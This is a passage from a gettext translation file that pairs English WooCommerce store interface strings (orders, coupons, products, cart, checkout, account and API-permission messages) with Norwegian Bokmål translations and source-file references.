msgid "Processing"
msgstr "Behandler"
#. translators: %s: number of orders
#: includes/class-wc-post-types.php:641
msgid "Pending payment <span class=\"count\">(%s)</span>"
msgid_plural "Pending payment <span class=\"count\">(%s)</span>"
msgstr[0] "Avventer betaling <span class=\"count\">(%s)</span>"
msgstr[1] "Avventer betaling <span class=\"count\">(%s)</span>"
#: includes/class-wc-post-types.php:635 includes/wc-order-functions.php:105
msgctxt "Order status"
msgid "Pending payment"
msgstr "Avventer betaling"
#: includes/admin/class-wc-admin-webhooks-table-list.php:39
msgid "No webhooks found."
msgstr "Ingen Webhook'er funnet."
#: includes/class-wc-post-types.php:544
msgid "This is where you can add new coupons that customers can use in your store."
msgstr "Her kan du opprette nye rabattkoder som kundene kan bruke i butikken deres."
#: includes/class-wc-post-types.php:539
msgid "Parent coupon"
msgstr "Forelder-rabattkode"
#: includes/class-wc-post-types.php:538
msgid "No coupons found in trash"
msgstr "Ingen rabattkoder funnet i papirkurven"
#: includes/class-wc-post-types.php:537
msgid "No coupons found"
msgstr "Ingen rabattkoder funnet"
#: includes/class-wc-post-types.php:536 assets/client/admin/chunks/2304.js:1
msgid "Search coupons"
msgstr "Søk i rabattkoder"
#: includes/class-wc-post-types.php:535
msgid "View coupon"
msgstr "Vis rabattkode"
#: includes/class-wc-post-types.php:534
msgid "New coupon"
msgstr "Ny rabattkode"
#: includes/class-wc-post-types.php:533
msgid "Edit coupon"
msgstr "Rediger rabattkode"
#: includes/class-wc-post-types.php:531
msgid "Add new coupon"
msgstr "Legg til ny rabattkode"
#: includes/class-wc-post-types.php:530
msgid "Add coupon"
msgstr "Legg til rabattkode"
#: includes/class-wc-post-types.php:529
msgctxt "Admin menu name"
msgid "Coupons"
msgstr "Rabattkoder"
#: includes/class-wc-post-types.php:528
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
msgid "Coupon"
msgid_plural "Coupons"
msgstr[0] "Rabattkode"
msgstr[1] "Rabattkoder"
#: includes/class-wc-post-types.php:504
msgid "Refunds"
msgstr "Refusjoner"
#: includes/class-wc-post-types.php:481
msgid "This is where store orders are stored."
msgstr "Dette er hvor butikkordre lagres."
#: includes/class-wc-post-types.php:475
msgid "Parent orders"
msgstr "Forelderordre"
#: includes/class-wc-post-types.php:474
msgid "No orders found in trash"
msgstr "Fant ingen ordre i papirkurven"
#: includes/admin/class-wc-admin-dashboard.php:507
#: includes/class-wc-post-types.php:473
msgid "No orders found"
msgstr "Fant ingen ordre"
#: includes/class-wc-post-types.php:472
#: src/Internal/Admin/Orders/ListTable.php:276
msgid "Search orders"
msgstr "Søk i ordre"
#: includes/class-wc-post-types.php:469
msgid "Edit order"
msgstr "Rediger ordre"
#: includes/class-wc-post-types.php:467
#: assets/client/admin/wp-admin-scripts/command-palette.js:2
msgid "Add new order"
msgstr "Legg til ny ordre"
#: includes/class-wc-post-types.php:466
msgid "Add order"
msgstr "Legg til ordre"
#: includes/class-wc-post-types.php:344
msgid "Use as product image"
msgstr "Bruk som produktbilde"
#: includes/class-wc-post-types.php:343
msgid "Remove product image"
msgstr "Fjern produktbilde"
#: includes/class-wc-post-types.php:342
msgid "Set product image"
msgstr "Velg produktbilde"
#: includes/class-wc-post-types.php:341
#: assets/client/blocks/handpicked-products.js:1
#: assets/client/blocks/product-best-sellers.js:1
#: assets/client/blocks/product-category.js:12
#: assets/client/blocks/product-new.js:1
#: assets/client/blocks/product-on-sale.js:1
#: assets/client/blocks/product-tag.js:1
#: assets/client/blocks/product-top-rated.js:1
#: assets/client/blocks/products-by-attribute.js:1
msgid "Product image"
msgstr "Produktbilde"
#: includes/class-wc-post-types.php:340
msgid "Parent product"
msgstr "Forelderprodukt"
#: includes/class-wc-post-types.php:339
msgid "No products found in trash"
msgstr "Fant ingen produkter i papirkurven"
#: includes/class-wc-post-types.php:338
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:12
msgid "No products found"
msgstr "Fant ingen produkter"
#: includes/class-wc-post-types.php:337 assets/client/admin/chunks/2304.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
msgid "Search products"
msgstr "Søk produkter"
#: includes/class-wc-post-types.php:335
msgid "View product"
msgstr "Vis produkt"
#: includes/class-wc-post-types.php:334
#: assets/client/admin/product-editor/index.js:2
msgid "New product"
msgstr "Nytt produkt"
#: includes/class-wc-post-types.php:333
#: includes/tracks/events/class-wc-products-tracking.php:148
msgid "Edit product"
msgstr "Rediger produkt"
#: includes/class-wc-post-types.php:331
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/command-palette.js:2
#: assets/client/blocks/all-products.js:13
#: assets/client/blocks/price-filter.js:5
msgid "Add new product"
msgstr "Legg til nytt produkt"
#. translators: %s number of products in cart.
#. translators: %d is the count of products.
#: src/Blocks/BlockTypes/ProductCategories.php:393
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/blocks/featured-category.js:13
#: assets/client/blocks/featured-product.js:13
#: assets/client/blocks/product-best-sellers.js:12
#: assets/client/blocks/product-category.js:12
#: assets/client/blocks/product-collection.js:13
#: assets/client/blocks/product-new.js:12
#: assets/client/blocks/product-on-sale.js:12
#: assets/client/blocks/product-query.js:11
#: assets/client/blocks/product-top-rated.js:12
#: assets/client/blocks/products-by-attribute.js:11
#: assets/client/blocks/reviews-by-category.js:12
msgid "%d product"
msgid_plural "%d products"
msgstr[0] "%d produkt"
msgstr[1] "%d produkter"
#: includes/class-wc-post-types.php:329
msgctxt "Admin menu name"
msgid "Products"
msgstr "Produkter"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:250
msgid "New %s"
msgstr "Ny %s"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:248
msgid "Add new %s"
msgstr "Legg til ny %s"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:246
msgid "Update %s"
msgstr "Oppdater %s"
#. translators: %s: attribute name
#. translators: %s: Address title
#: includes/class-wc-post-types.php:244 templates/myaccount/my-address.php:67
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/product-editor/blocks/product-fields/downloads/edit-downloads-modal/edit-downloads-modal.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Edit %s"
msgstr "Rediger %s"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:242
msgid "Parent %s:"
msgstr "Forelder %s:"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:240
msgid "Parent %s"
msgstr "Forelder %s"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:238
msgid "All %s"
msgstr "Alle %s"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:236
msgid "Search %s"
msgstr "Søk %s"
#: includes/class-wc-post-types.php:198
msgid "New shipping class Name"
msgstr "Nytt navn på fraktklasse"
#: includes/class-wc-post-types.php:197
#: assets/client/admin/product-editor/blocks/product-fields/shipping-class/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Add new shipping class"
msgstr "Legg til ny fraktklasse"
#: includes/class-wc-post-types.php:196
msgid "Update shipping class"
msgstr "Oppdater fraktklasse"
#: includes/class-wc-post-types.php:195
msgid "Edit shipping class"
msgstr "Rediger fraktklasse"
#: includes/class-wc-post-types.php:194
msgid "Parent shipping class:"
msgstr "Forelderfraktklasse:"
#: includes/class-wc-post-types.php:193
msgid "Parent shipping class"
msgstr "Forelderfraktklasse"
#: includes/class-wc-post-types.php:192
msgid "All shipping classes"
msgstr "Alle fraktklasser"
#: includes/class-wc-post-types.php:191
msgid "Search shipping classes"
msgstr "Søk i fraktklasser"
#: includes/class-wc-post-types.php:190
msgctxt "Admin menu name"
msgid "Shipping classes"
msgstr "Fraktklasser"
#: includes/class-wc-post-types.php:145
msgctxt "Admin menu name"
msgid "Tags"
msgstr "Stikkord"
#: includes/class-wc-post-types.php:141 includes/class-wc-post-types.php:143
#: includes/react-admin/connect-existing-pages.php:278
#: includes/widgets/class-wc-widget-product-tag-cloud.php:29
msgid "Product tags"
msgstr "Produktstikkord"
#: includes/class-wc-post-types.php:101
msgctxt "Admin menu name"
msgid "Categories"
msgstr "Kategorier"
#: includes/class-wc-install.php:2485
msgid "Premium support"
msgstr "Premium brukerhjelp"
#: includes/class-wc-install.php:2480
msgid "API docs"
msgstr "API-dokumenter"
#: includes/class-wc-install.php:2480
msgid "View WooCommerce API docs"
msgstr "Se på WooCommerce API-dokumenter"
#: includes/class-wc-install.php:2479
msgid "View WooCommerce documentation"
msgstr "Se på WooCommerce dokumentasjon"
#: includes/class-wc-install.php:2431
msgid "View WooCommerce settings"
msgstr "Se på WooCommerce innstillinger"
#: includes/class-wc-install.php:1047
msgctxt "Page slug"
msgid "my-account"
msgstr "min-konto"
#: includes/class-wc-install.php:1042
msgctxt "Page slug"
msgid "checkout"
msgstr "kassen"
#: includes/class-wc-install.php:1037
msgctxt "Page slug"
msgid "cart"
msgstr "handlekurv"
#: includes/class-wc-install.php:1032
msgctxt "Page slug"
msgid "shop"
msgstr "butikk"
#: includes/class-wc-frontend-scripts.php:726
#: templates/single-product/add-to-cart/variation.php:22
msgid "Sorry, this product is unavailable. Please choose a different combination."
msgstr "Beklager, dette produktet er ikke tilgjengelig. Vennligst velg en annen kombinasjon."
#: includes/class-wc-frontend-scripts.php:724
msgid "Sorry, no products matched your selection. Please choose a different combination."
msgstr "Beklager, ingen produkter samsvarer med valget. Forsøk å velge en annen kombinasjon."
#: includes/class-wc-frontend-scripts.php:686 templates/checkout/terms.php:31
msgid "required"
msgstr "påkrevd"
#: includes/class-wc-frontend-scripts.php:601
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:124
msgid "Please select a rating"
msgstr "Vennligst velg en vurdering"
#: includes/class-wc-form-handler.php:1103
msgid "Passwords do not match."
msgstr "Passordene er ikke like."
#: includes/class-wc-form-handler.php:1099
msgid "Please enter your password."
msgstr "Fyll inn passordet ditt."
#: includes/class-wc-form-handler.php:1009
msgid "Username is required."
msgstr "Brukernavn er påkrevd."
#: includes/class-wc-log-levels.php:152
msgid "Error"
msgstr "Feil"
#: includes/class-wc-cart.php:1128
msgid "Please choose product options…"
msgstr "Vennligst velg et produktalternativ…"
#. translators: %s: Attribute name.
#: includes/class-wc-cart.php:1170
#: src/StoreApi/Utilities/CartController.php:1382
msgid "%s is a required field"
msgid_plural "%s are required fields"
msgstr[0] "%s er et påkrevd felt"
msgstr[1] "%s er påkrevde felt"
#: includes/class-wc-form-handler.php:926
msgid "Please choose a product to add to your cart…"
msgstr "Vennligst velg et produkt å legge i handlekurven…"
#: includes/class-wc-form-handler.php:918
msgid "Please choose the quantity of items you wish to add to your cart…"
msgstr "Vennligst velg antall produkter du ønsker å legge i handlekurven…"
#: includes/class-wc-form-handler.php:803
msgid "Your order can no longer be cancelled. Please contact us if you need assistance."
msgstr "Ordren din kan ikke lenger bli kansellert. Ta kontakt med oss hvis du trenger hjelp."
#: includes/class-wc-form-handler.php:798
msgid "Your order was cancelled."
msgstr "Ordren din ble kansellert."
#: includes/class-wc-form-handler.php:796
msgid "Order cancelled by customer."
msgstr "Ordre avbestilt av kunde."
#: includes/class-wc-cart-session.php:656
msgid "The cart has been filled with the items from your previous order."
msgstr "Handlekurven har blitt fylt med varene fra din tidligere ordre."
#: includes/class-wc-form-handler.php:745
msgid "Cart updated."
msgstr "Handlekurven ble oppdatert."
#. Translators: %s Product title.
#: includes/class-wc-form-handler.php:723
msgid "You can only have 1 %s in your cart."
msgstr "Du kan bare ha 1 %s i handlekurven din."
#: includes/class-wc-form-handler.php:387
msgid "Account details changed successfully."
msgstr "Kontoinformasjonen er endret."
#: includes/class-wc-form-handler.php:321
msgid "New passwords do not match."
msgstr "De nye passordene er ikke like."
#: includes/class-wc-form-handler.php:318
msgid "Please re-enter your password."
msgstr "Fyll inn passordet ditt igjen."
#: includes/class-wc-form-handler.php:315
msgid "Please enter your current password."
msgstr "Fyll inn ditt nåværende passord."
#: includes/class-wc-form-handler.php:312
msgid "Please fill out all password fields."
msgstr "Vennligst fyll ut alle passordfelt."
#: includes/class-wc-form-handler.php:324
msgid "Your current password is incorrect."
msgstr "Ditt nåværende passord er feil."
#: includes/class-wc-form-handler.php:306
msgid "This email address is already registered."
msgstr "Denne e-postadressen er allerede registrert."
#: includes/class-wc-form-handler.php:304 includes/wc-user-functions.php:58
msgid "Please provide a valid email address."
msgstr "Vennligst oppgi en gyldig e-postadresse."
#: includes/class-wc-form-handler.php:229
msgid "Address changed successfully."
msgstr "Adressen er endret."
#. translators: 1: backordered quantity 2: product name 3: order number
#: includes/class-wc-emails.php:1154
msgid "%1$s units of %2$s have been backordered in order #%3$s."
msgstr "%1$s enheter av %2$s har blitt satt i restordre for ordrenr. %3$s."
#: includes/class-wc-emails.php:1152
msgid "Product backorder"
msgstr "Produktrestordre"
#. translators: %s: product name
#: includes/class-wc-emails.php:1069
msgid "%s is out of stock."
msgstr "«%s» er utsolgt."
#: includes/class-wc-emails.php:1067
msgid "Product out of stock"
msgstr "Produktet er utsolgt"
#: includes/class-wc-emails.php:977
msgid "Product low in stock"
msgstr "Lite lager av dette produktet"
#: templates/emails/email-customer-details.php:24
#: templates/emails/plain/email-customer-details.php:22
msgid "Customer details"
msgstr "Kundedetaljer"
#: src/Internal/Admin/Orders/ListTable.php:1743
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:221
#: assets/client/blocks/cart.js:20 assets/client/blocks/checkout.js:28
msgid "Note"
msgstr "Notat"
#: includes/class-wc-download-handler.php:491
msgid "File not found"
msgstr "Fil ikke funnet"
#: includes/class-wc-download-handler.php:229
msgid "No file defined"
msgstr "Ingen fil definert"
#: includes/class-wc-download-handler.php:206
msgid "This is not your download link."
msgstr "Dette er ikke din nedlastingslenke."
#: includes/class-wc-download-handler.php:203
msgid "Log in to Download Files"
msgstr "Logg inn for å laste ned filer"
#: includes/admin/settings/class-wc-settings-accounts.php:73
#: includes/class-wc-download-handler.php:203
#: src/Blocks/BlockTypes/CustomerAccount.php:221
#: templates/auth/form-login.php:49 templates/global/form-login.php:51
#: templates/myaccount/form-login.php:32
msgid "Login"
msgstr "Logg inn"
#: includes/class-wc-download-handler.php:200
#: includes/class-wc-download-handler.php:203
msgid "You must be logged in to download files."
msgstr "Du må være innlogget for å laste ned filer."
#: includes/class-wc-download-handler.php:187
msgid "Sorry, this download has expired"
msgstr "Beklager, denne nedlastingen har utløpt"
#: includes/class-wc-download-handler.php:176
msgid "Sorry, you have reached your download limit for this file"
msgstr "Beklager, du har nådd grensen for antall nedlastninger av denne filen"
#: includes/class-wc-download-handler.php:164
#: includes/class-wc-form-handler.php:805
#: includes/data-stores/abstract-wc-order-data-store-cpt.php:149
#: includes/shortcodes/class-wc-shortcode-checkout.php:253
#: includes/shortcodes/class-wc-shortcode-my-account.php:140
#: includes/wc-order-functions.php:766
msgid "Invalid order."
msgstr "Ugyldig ordre."
#: includes/class-wc-download-handler.php:54
#: includes/class-wc-download-handler.php:59
#: includes/class-wc-download-handler.php:76
#: includes/class-wc-download-handler.php:94
msgid "Invalid download link."
msgstr "Ugyldig nedlastingslenke."
#: includes/class-wc-coupon.php:1230
msgid "Please enter a coupon code."
msgstr "Fyll inn en rabattkode."
#: includes/class-wc-coupon.php:1227
msgid "Coupon does not exist."
msgstr "Rabattkoden finnes ikke."
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1205 includes/class-wc-discounts.php:895
msgid "Sorry, coupon \"%s\" is not valid for sale items."
msgstr "Beklager, rabattkoden «%s» er ikke gyldig for tilbudsprodukter."
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1137
msgid "Sorry, coupon \"%s\" is not applicable to your cart contents."
msgstr "Beklager, rabattkoden «%s» kan ikke brukes for innholdet i din handlekurv."
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1086
msgid "Sorry, coupon \"%s\" has already been applied and cannot be used in conjunction with other coupons."
msgstr "Beklager, rabattkoden \"%s\" har allerede blitt brukt, og kan ikke brukes sammen med andre rabattkoder."
#. translators: %s: coupon code
#: includes/abstracts/abstract-wc-order.php:1287
#: includes/class-wc-coupon.php:1079
msgid "Coupon code \"%s\" already applied!"
msgstr "Rabattkoden «%s» er allerede brukt."
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1055
msgid "Sorry, it seems the coupon \"%s\" is invalid - it has now been removed from your order."
msgstr "Beklager, det ser ut som om rabattkoden \"%s\" ikke er gyldig. Den har nå blitt fjernet fra ordren."
#: includes/class-wc-discounts.php:1149
msgid "Coupon is not valid."
msgstr "Ugyldig rabattkode."
#: includes/class-wc-coupon.php:1021
msgid "Coupon code removed successfully."
msgstr "Rabattkode ble fjernet."
#: includes/class-wc-coupon.php:1018
msgid "Coupon code applied successfully."
msgstr "Rabattkoden ble lagt til."
#: includes/class-wc-privacy-erasers.php:56
#: includes/class-wc-privacy-exporters.php:195
#: includes/class-wc-privacy-exporters.php:260
msgid "Email Address"
msgstr "E-postadresse"
#: includes/class-wc-countries.php:1371 includes/class-wc-countries.php:1474
msgid "Municipality"
msgstr "Kommune"
#: includes/class-wc-countries.php:1333
msgid "Prefecture"
msgstr "Prefekt"
#: includes/class-wc-countries.php:903 includes/class-wc-countries.php:1233
#: includes/class-wc-countries.php:1248 includes/class-wc-countries.php:1500
#: includes/class-wc-countries.php:1643
msgid "County"
msgstr "Fylke"
#: includes/class-wc-countries.php:1199
msgid "Town / District"
msgstr "By / Distrikt"
#: includes/class-wc-countries.php:1053 includes/class-wc-countries.php:1166
#: includes/class-wc-countries.php:1202 includes/class-wc-countries.php:1438
#: src/Admin/API/Reports/Customers/Controller.php:551
#: assets/client/admin/chunks/analytics-report-customers.js:1
msgid "Region"
msgstr "Region"
#: includes/class-wc-countries.php:949 includes/class-wc-countries.php:1039
msgid "Canton"
msgstr "Kanton"
#: includes/class-wc-countries.php:912 includes/class-wc-countries.php:1031
#: includes/class-wc-countries.php:1058 includes/class-wc-countries.php:1071
#: includes/class-wc-countries.php:1114 includes/class-wc-countries.php:1119
#: includes/class-wc-countries.php:1239 includes/class-wc-countries.php:1303
#: includes/class-wc-countries.php:1405 includes/class-wc-countries.php:1460
#: includes/class-wc-countries.php:1565 includes/class-wc-countries.php:1608
#: includes/class-wc-countries.php:1685
msgid "Province"
msgstr "Provins"
#: includes/class-wc-countries.php:959 includes/class-wc-countries.php:1014
#: includes/class-wc-countries.php:1512 includes/class-wc-countries.php:1621
#: includes/class-wc-countries.php:1653
msgid "District"
msgstr "Distrikt"
#: includes/class-wc-countries.php:926
msgid "Suburb"
msgstr "Forstad"
#: includes/admin/class-wc-admin-profile.php:70
#: includes/admin/class-wc-admin-profile.php:130
#: includes/admin/class-wc-admin-setup-wizard.php:529
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:83
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:155
#: includes/admin/settings/class-wc-settings-general.php:151
#: includes/admin/settings/class-wc-settings-tax.php:250
#: includes/admin/settings/views/html-settings-tax.php:34
#: includes/class-wc-countries.php:834
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
msgid "Postcode / ZIP"
msgstr "Postnummer"
#: includes/admin/class-wc-admin-profile.php:81
#: includes/admin/class-wc-admin-profile.php:141
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:94
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:166
#: includes/class-wc-countries.php:826
#: templates/cart/shipping-calculator.php:56
#: templates/cart/shipping-calculator.php:69
msgid "State / County"
msgstr "Delstat / Fylke"
#: includes/class-wc-countries.php:818
msgid "Town / City"
msgstr "Poststed"
#: includes/class-wc-countries.php:785
#: includes/customizer/class-wc-shop-customizer.php:742
msgid "Company name"
msgstr "Firmanavn"
#: includes/class-wc-countries.php:541
msgid "(ex. tax)"
msgstr "(ekskl. mva)"
#: includes/class-wc-countries.php:541
msgid "(ex. VAT)"
msgstr "(ekskl. mva)"
#: includes/class-wc-countries.php:530
msgid "(incl. tax)"
msgstr "(inkl. mva)"
#: includes/class-wc-countries.php:530
msgid "(incl. VAT)"
msgstr "(inkl. mva)"
#: includes/class-wc-countries.php:519
msgid "VAT"
msgstr "MVA"
#: includes/class-wc-countries.php:508
msgid "the"
msgstr "den"
#: includes/class-wc-comments.php:214
msgid "Please rate the product."
msgstr "Vennligst vurder dette produktet."
#: includes/class-wc-checkout.php:978 includes/class-wc-form-handler.php:461
#: includes/class-wc-form-handler.php:468
#: includes/class-wc-form-handler.php:597
#: includes/class-wc-form-handler.php:621
msgid "Invalid payment method."
msgstr "Ugyldig betalingsmåte."
#: includes/admin/settings/class-wc-settings-shipping.php:403
msgid "Invalid shipping method!"
msgstr "Ugyldig fraktmåte!"
#. translators: %s: shipping location (prefix e.g. 'to' + ISO 3166-1 alpha-2
#. country code)
#: includes/class-wc-checkout.php:961
msgid "Unfortunately <strong>we do not ship %s</strong>. Please enter an alternative shipping address."
msgstr "Dessverre <strong>sender vi ikke til %s</strong>. Fyll inn en alternativ leveringsadresse."
#. translators: 1: state field 2: valid states
#: includes/class-wc-checkout.php:924
msgid "%1$s is not valid. Please enter one of the following: %2$s"
msgstr "%1$s er ikke gyldig. Vennligst bruk en av de følgende: %2$s"
#. translators: %s: email address
#. translators: %s: Email address.
#: includes/class-wc-checkout.php:904 includes/class-wc-form-handler.php:170
msgid "%s is not a valid email address."
msgstr "%s er ikke en gyldig e-postadresse."
#. translators: %s: phone number
#. translators: %s: Phone number.
#: includes/class-wc-checkout.php:894 includes/class-wc-form-handler.php:162
msgid "%s is not a valid phone number."
msgstr "%s er ikke et gyldig telefonnummer."
#: includes/class-wc-form-handler.php:154
#: includes/shortcodes/class-wc-shortcode-cart.php:41
msgid "Please enter a valid postcode / ZIP."
msgstr "Fyll inn et gyldig postnummer."
#. translators: %s: field name
#. translators: %s: Field name.
#: includes/class-wc-checkout.php:931 includes/class-wc-form-handler.php:136
#: includes/class-wc-form-handler.php:297
msgid "%s is a required field."
msgstr "%s er et påkrevd felt."
#. translators: %s: shop cart url
#: includes/class-wc-checkout.php:1278
msgid "Sorry, your session has expired. <a href=\"%s\" class=\"wc-backward\">Return to shop</a>"
msgstr "Beklager, innloggingen din har utløpt. <a href=\"%s\" class=\"wc-backward\">Gå til butikken</a>"
#: includes/class-wc-checkout.php:1289
msgid "We were unable to process your order, please try again."
msgstr "Vi klarte ikke å behandle ordren din. Vennligst prøv igjen."
#: includes/class-wc-checkout.php:263
#: assets/client/blocks/checkout-frontend.js:5
#: assets/client/blocks/checkout.js:19
msgid "Notes about your order, e.g. special notes for delivery."
msgstr "Notater til din ordre, f.eks. spesielle ønsker for levering."
#: includes/class-wc-checkout.php:274
msgid "Account username"
msgstr "Kontoens brukernavn"
#. translators: 1: quantity in stock 2: current quantity
#: includes/class-wc-cart.php:1289 includes/class-wc-cart.php:1296
msgid "You cannot add that amount to the cart — we have %1$s in stock and you already have %2$s in your cart."
msgstr "Du kan ikke legge til dette antallet i handlekurven, vi har %1$s på lager, og du har allerede %2$s i handlekurven."
#. translators: 1: product name 2: quantity in stock
#: includes/class-wc-cart.php:1262
#: src/StoreApi/Utilities/CartController.php:308
msgid "You cannot add that amount of "%1$s" to the cart because there is not enough stock (%2$s remaining)."
msgstr "Du kan ikke legge til det antallet av "%1$s" i handlekurven fordi det ikke er nok på lager (%2$s igjen)."
#. translators: %s: product name
#: includes/class-wc-cart.php:1245
#: src/Blocks/BlockTypes/AddToCartWithOptions/AddToCartWithOptions.php:234
#: src/StoreApi/Utilities/CartController.php:291
msgid "You cannot add "%s" to the cart because the product is out of stock."
msgstr "Du kan ikke legge «%s» i handlekurven fordi produktet er utsolgt."
#: includes/class-wc-cart.php:1230
msgid "Sorry, this product cannot be purchased."
msgstr "Beklager, dette produktet kan ikke kjøpes."
#: includes/class-wc-cart.php:624
msgid "Get cart should not be called before the wp_loaded action."
msgstr "Få cart bør ikke kalles før wp_loaded handling."
#. translators: %s: product name
#: includes/class-wc-cart.php:808
msgid "Sorry, \"%s\" is not in stock. Please edit your cart and try again. We apologize for any inconvenience caused."
msgstr "Beklager, «%s» er utsolgt. Rediger handlekurven og forsøk igjen. Vi beklager eventuelle ulemper."
#: includes/class-wc-cart.php:785
msgid "An item which is no longer available was removed from your cart."
msgstr "En vare som ikke lenger er tilgjengelig ble fjernet fra handlekurven din."
#. translators: %s: product name
#: includes/class-wc-cart-session.php:186
msgid "%s has been removed from your cart because it can no longer be purchased. Please contact us if you need assistance."
msgstr "%s er blitt fjernet fra handlekurven din fordi den ikke lenger kan kjøpes. Ta kontakt med oss hvis du trenger hjelp."
#. translators: %d: page number
#. translators: %d: Page number.
#. translators: %d is the page number (1, 2, 3...).
#: includes/class-wc-breadcrumb.php:377
#: includes/class-wc-template-loader.php:521
#: assets/client/blocks/all-products-frontend.js:2
#: assets/client/blocks/all-products-frontend.js:3
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:10
#: assets/client/blocks/all-products.js:11
#: assets/client/blocks/all-products.js:12
msgid "Page %d"
msgstr "Side %d"
#. translators: %s: search term
#: includes/class-wc-breadcrumb.php:367
msgid "Search results for “%s”"
msgstr "Søkeresultater for «%s»"
#. translators: %s: author name
#: includes/class-wc-breadcrumb.php:326
msgid "Author: %s"
msgstr "Forfatter: %s"
#. translators: %s: tag name
#: includes/class-wc-breadcrumb.php:283
msgid "Posts tagged “%s”"
msgstr "Innlegg med stikkord «%s»"
#. translators: %s: product tag
#: includes/class-wc-breadcrumb.php:231
msgid "Products tagged “%s”"
msgstr "Produkter med stikkord «%s»"
#: includes/class-wc-breadcrumb.php:117
msgid "Error 404"
msgstr "Feil 404"
#. translators: %s: error message
#: includes/class-wc-auth.php:436
msgid "Access denied"
msgstr "Tilgang nektet"
#: includes/class-wc-auth.php:430
msgid "You do not have permission to access this page"
msgstr "Du har ikke tilgang til denne siden"
#: includes/class-wc-auth.php:409
msgid "Invalid nonce verification"
msgstr "Ugyldig forespørsels verifikasjon"
#: includes/class-wc-auth.php:278
msgid "An error occurred in the request and at the time were unable to send the consumer data"
msgstr "En feil oppstod i forespørselen og på nåværende tidspunkt ble ikke forbrukerdata sendt"
#: includes/class-wc-auth.php:195
msgid "The callback_url needs to be over SSL"
msgstr "Callback_url må være gjennom SSL"
#. translators: %s: url
#: includes/class-wc-auth.php:188
msgid "The %s is not a valid URL"
msgstr "%s er ikke en gyldig nettadresse"
#. translators: %s: scope
#: includes/class-wc-auth.php:180
msgid "Invalid scope %s"
msgstr "Ugyldig virkeområde %s"
#: includes/class-wc-auth.php:108
msgid "View and manage products"
msgstr "Vis og administrer produkter"
#: includes/class-wc-auth.php:107
msgid "View and manage orders and sales reports"
msgstr "Vis og administrer ordre og salgsrapporter"
#: includes/class-wc-auth.php:106
msgid "View and manage customers"
msgstr "Vis og administrer kunder"
#: includes/class-wc-auth.php:105
msgid "View and manage coupons"
msgstr "Vis og administrer rabattkoder"
#: includes/class-wc-auth.php:101
msgid "Create products"
msgstr "Lage produkter"
#: includes/class-wc-auth.php:100
msgid "Create orders"
msgstr "Lag ordre"
#: includes/class-wc-auth.php:99
msgid "Create customers"
msgstr "Lag kunder"
#: includes/class-wc-auth.php:98
msgid "Create coupons"
msgstr "Opprett rabattkoder"
#: includes/class-wc-auth.php:97 includes/class-wc-auth.php:104
msgid "Create webhooks"
msgstr "Lag webhooks"
#: includes/admin/importers/views/html-csv-import-done.php:110
#: includes/class-wc-auth.php:94 includes/class-wc-post-types.php:336
#: includes/class-wc-product-grouped.php:44
msgid "View products"
msgstr "Vis produkter"
#: includes/class-wc-auth.php:93
msgid "View orders and sales reports"
msgstr "Se ordre og salgsrapporter"
#: includes/class-wc-auth.php:92
msgid "View customers"
msgstr "Se kunder"
#: includes/class-wc-auth.php:91
msgid "View coupons"
msgstr "Vis rabattkoder"
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:28
#: includes/class-wc-ajax.php:2491
#: src/Internal/Admin/ProductReviews/ReviewsCommentsOverrides.php:97
msgid "Dismiss this notice."
msgstr "Skjul dette varselet."
#: includes/class-wc-ajax.php:2369
msgid "API Key updated successfully."
msgstr "API Key oppdatert."
#: includes/class-wc-ajax.php:2332
msgid "Permissions is missing."
msgstr "Tillatelser mangler."
#: includes/class-wc-ajax.php:2329
msgid "User is missing."
msgstr "Bruker mangler."
#: includes/class-wc-ajax.php:2326
msgid "Description is missing."
msgstr "Beskrivelse mangler."
#: includes/gateways/paypal/class-wc-gateway-paypal.php:669
msgid "Refund failed."
msgstr "Refusjon mislyktes."
#: includes/class-wc-ajax.php:2218
msgid "Invalid refund amount"
msgstr "Ugyldig refusjonsbeløp"
#: i18n/states.php:694
msgid "Valle"
msgstr "Valle"
#. translators: 1: product ID 2: old stock level 3: new stock level
#: includes/wc-order-functions.php:839
msgid "Item #%1$s stock increased from %2$s to %3$s."
msgstr "Lagerbeholdning er økt fra %2$s til %3$s for produktnr. %1$s."
#: includes/class-wc-ajax.php:352
msgid "Sorry, your session has expired."
msgstr "Beklager, økten din har utløpt."
#: includes/class-wc-ajax.php:300
msgid "Coupon has been removed."
msgstr "Rabattkoden har blitt fjernet."
#: includes/class-wc-ajax.php:297
msgid "Sorry there was a problem removing this coupon."
msgstr "Beklager, det oppstod et problem med å fjerne denne rabattkoden."
#. translators: %s item name.
#: includes/class-wc-ajax.php:1423
msgid "Deleted %s"
msgstr "Slettet %s"
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:320
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:321
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:450
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:451
